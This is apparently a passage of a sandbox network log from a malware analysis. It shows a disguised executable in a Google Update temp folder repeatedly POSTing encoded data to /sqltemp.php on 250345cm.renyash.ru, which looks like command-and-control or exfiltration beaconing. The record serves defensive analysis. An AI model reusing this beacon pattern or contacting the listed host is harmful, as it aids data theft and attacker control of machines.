Jan 1, 2025 16:03:17.751094103 CET	1112	OUT	Data Raw: 53 57 5f 55 51 58 54 52 58 56 52 59 56 59 59 57 5b 52 54 5a 55 55 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SW_UQXTRXVRYVYYW[RTZUUPYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.&?#?0..9%#.8;4!3+:$,7V.*&Y.,Y-
Jan 1, 2025 16:03:17.841615915 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:18.102741003 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rReysgt93NmtoRsSAWbHNGh2ixPcv1aBsFTyZeqVLpKc200%2FjrhChz7FO60fS%2Bn8zaRfqbCr%2F1dluA3QbrYkwG7TOZQo9mO2RkvGAcU%2Fc4knUEm23wzzyJEZTbR7QrgC7l3trcRN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365303c0142ca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1896&min_rtt=1737&rtt_var=971&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1414&delivery_rate=484084&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	62725	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:18.238538980 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:18.594813108 CET	1124	OUT	Data Raw: 56 52 5f 5c 54 5f 51 50 58 56 52 59 56 5c 59 52 5b 5c 54 5b 55 59 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VR_\T_QPXVRYV\YR[\T[UYP^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-&/! <=3>?C;"7=?('*X+#!#(!D$,'R:&Y.,Y-5
Jan 1, 2025 16:03:18.682545900 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:18.939131975 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=etnXuYMHruqh54neYJEC3kfAbBkPDRugNE%2BMfiP5RpKumMX79Wzz97WTZTNtpjLBw4nFsKmSxumlKs9cu4kiJYrqbWkO2qil6Nnjb6Sdu41VEOpP0W%2BaPnXb1j2KJG1PfBPKpPsQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365357ed67ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2548&min_rtt=2035&rtt_var=1790&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=237630&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	62726	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:19.072904110 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	62727	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:19.352675915 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:19.704116106 CET	1964	OUT	Data Raw: 56 53 5a 50 51 5c 54 51 58 56 52 59 56 51 59 57 5b 5e 54 59 55 59 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VSZPQ\TQXVRYVQYW[^TYUYP[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y3/6 <1Y30;* =+)()X74"[<"28.&Y.,Y-
Jan 1, 2025 16:03:19.808497906 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:20.072254896 CET	961	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BVbnqMt2V67pPPGcSS1lETgn%2FUXsc7UfTKVK5uoCP934%2B%2FKBSd716H87a1mLQyfA74YTMagsyaz%2B%2FrY3RrHQpea%2BieNiNqmMCDGwNLO0BEhfgeOXALJP7IcQWuuLLMOhQwJ9ti1%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3653c8cd95e5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3984&min_rtt=2137&rtt_var=4496&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2266&delivery_rate=86298&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 25 51 3e 04 3e 1d 31 22 27 05 2b 2d 28 0b 26 3d 2e 11 2b 3b 2e 17 27 3e 3c 03 2a 07 02 02 21 3f 29 13 26 2b 24 5f 34 3d 05 11 30 24 2b 59 05 1c 20 08 36 2c 2b 02 3e 3d 33 59 26 06 2d 5c 33 3e 38 16 3c 3b 28 1e 20 2b 24 07 33 04 3c 58 3e 14 20 56 24 2c 37 5f 2d 59 2d 57 33 2a 2c 54 00 11 26 13 25 31 15 07 22 27 2c 11 22 31 26 07 26 0a 0c 57 32 3c 09 52 21 29 22 5d 32 0b 27 59 35 0a 3e 1c 25 02 25 13 20 03 2f 50 3e 04 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%Q>>1"'+-(&=.+;.'><!?)&+$_4=0$+Y 6,+>=3Y&-\3>8<;( +$3<X> V$,7_-Y-W3,T&%1"',"1&&W2<R!)"]2'Y5>%% /P>%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	62728	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:19.479906082 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1120 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:19.829138994 CET	1120	OUT	Data Raw: 53 50 5f 5d 54 5f 51 57 58 56 52 59 56 59 59 54 5b 5e 54 5a 55 5c 50 5f 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SP_]T_QWXVRYVYYT[^TZU\P_Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-09#?:$=+@,&#-0_?7S-$#7X?%B% -&Y.,Y--
Jan 1, 2025 16:03:19.922841072 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:20.176903963 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NnYmznSFIClix7rtjJ%2B664S9r%2BKmKOX%2Fv2NstQOJTXUym4o%2BPFZkXrN8b6Lhpd%2Bq51Wn5BAX58IDxXay8dh%2B5eS2dEWbNobcD4i%2Bty9JjbeAc163QY8dqSH2insHYDHf5Aig9VEZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3653d3e7a17ad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4547&min_rtt=1471&rtt_var=6705&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1422&delivery_rate=55973&cwnd=170&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a Data Ascii: 42W\X
Jan 1, 2025 16:03:20.263592958 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	62729	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:20.394752026 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:03:20.751038074 CET	1124	OUT	Data Raw: 56 52 5f 56 51 58 51 55 58 56 52 59 56 5e 59 50 5b 5d 54 5c 55 5b 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VR_VQXQUXVRYV^YP[]T\U[PYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.X&<5Y#<2'-7D;)!W7<+9T>4 (&&/,::&Y.,Y-
Jan 1, 2025 16:03:20.864494085 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:21.036792040 CET	798	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FmUGdVqESMjigHujvWBqvxioynn8DLgsd4sug2x1zQcKqSiF9Yak575ngbNRONumsvFS4lc7Xo4y51Ooa4rKzjW1b1ykmwCtPCotPZFcXL0hcKTKElKXRKYNWHQ2BQJUjRLcY5mQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365431fabc3f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4288&min_rtt=1490&rtt_var=6155&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=61149&cwnd=221&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	62731	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:21.169689894 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:21.516659975 CET	1124	OUT	Data Raw: 56 54 5f 50 54 5b 51 51 58 56 52 59 56 5b 59 57 5b 5b 54 58 55 59 50 5c 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VT_PT[QQXVRYV[YW[[TXUYP\Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.^$: <-\$>#8- -8(;*$Z!2<(&1?;-:&Y.,Y-)
Jan 1, 2025 16:03:21.609236002 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:21.784347057 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Sd6QxCFuOWxURmHvPNQzo2F8jzK%2F5%2Fbi%2BvypDtgNJ7jhw5QbpjzNOQC67znjE2UBUjVVvjJeAYqTY40lxa7UBWuCMa5xzXyKdaeAEURa2G%2FSZp3NxtDWy4UY4csCZfvhckRD13G"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36547cc038ca2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3289&min_rtt=2006&rtt_var=3319&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=118940&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	62732	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:21.909168959 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:22.266801119 CET	1124	OUT	Data Raw: 56 55 5f 54 51 5d 54 53 58 56 52 59 56 5c 59 51 5b 5a 54 5c 55 59 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VU_TQ]TSXVRYV\YQ[ZT\UYP^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$9Y /$= /:=R!=0<4=>#!4?!B&,+T:&Y.,Y-5
Jan 1, 2025 16:03:22.357624054 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:22.531091928 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kwwze13lOkYWuqyJkYD8PYzYxmqKGmgro9hD%2FElHpYz3cGl534Abb0vKnm%2B9lKaowAMy0VyVDZ0GYnwvwnXrm3sW6MVDl2FxomX3xGiDWv516lUWYcuJXQunAb1CxF0SAtltg42l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3654c7f795e7a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2389&min_rtt=2229&rtt_var=1157&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=415362&cwnd=213&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	62733	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:22.660137892 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:23.017584085 CET	1124	OUT	Data Raw: 56 50 5f 52 54 59 51 57 58 56 52 59 56 5a 59 53 5b 5b 54 5a 55 5c 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VP_RTYQWXVRYVZYS[[TZU\PYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.^&?X"<!\3;,9#(??R).?#"/Y+;5E1/R.&Y.,Y--
Jan 1, 2025 16:03:23.113488913 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:23.362490892 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4sttTIhuq5ziWPpe6rL%2FZQmlCaTvB7JEk0dBhWiPvn%2BEunjSiyBk4gRzz3hbiyICXsk2%2BqzFGSs26Itdk5XTvEPfx%2FlzJ%2FDOvvXJ%2FOOMBttTtDuP5AARBpsvyJyjm60TzbTjTyp2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365512c4b7cf0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4874&min_rtt=1953&rtt_var=6575&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=57652&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	62734	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:23.488105059 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:23.844902992 CET	1124	OUT	Data Raw: 56 56 5f 53 54 58 51 57 58 56 52 59 56 5e 59 55 5b 52 54 5f 55 5a 50 55 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VV_STXQWXVRYV^YU[RT_UZPUZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-3>#/)%-489" .;?$=4 <(*&?7.&Y.,Y-
Jan 1, 2025 16:03:23.931265116 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:24.194370985 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3trBkbC55NggG6bN9L0jyuRE1wmPMehoI5xzGtdSHLBy%2FjgalWrQxLvbjqqsSRubHYI4HJEO70sFhRr6d9g6l%2F2uH5Pk6HJgjbiu7K72HZB7KdfZsFw8g893OujQ%2Bbh47Hmh39QY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365564bca5e80-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2316&min_rtt=1641&rtt_var=1966&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=207239&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	62735	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:24.420490980 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:24.766701937 CET	1124	OUT	Data Raw: 56 55 5f 53 51 5d 54 56 58 56 52 59 56 5c 59 50 5b 5b 54 51 55 5c 50 54 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VU_SQ]TVXVRYV\YP[[TQU\PTZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-0?["/1'@8.4=0+)U*>7+(;:&Y7-:&Y.,Y-5
Jan 1, 2025 16:03:24.859992027 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	62736	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:25.085496902 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue Connection: Keep-Alive
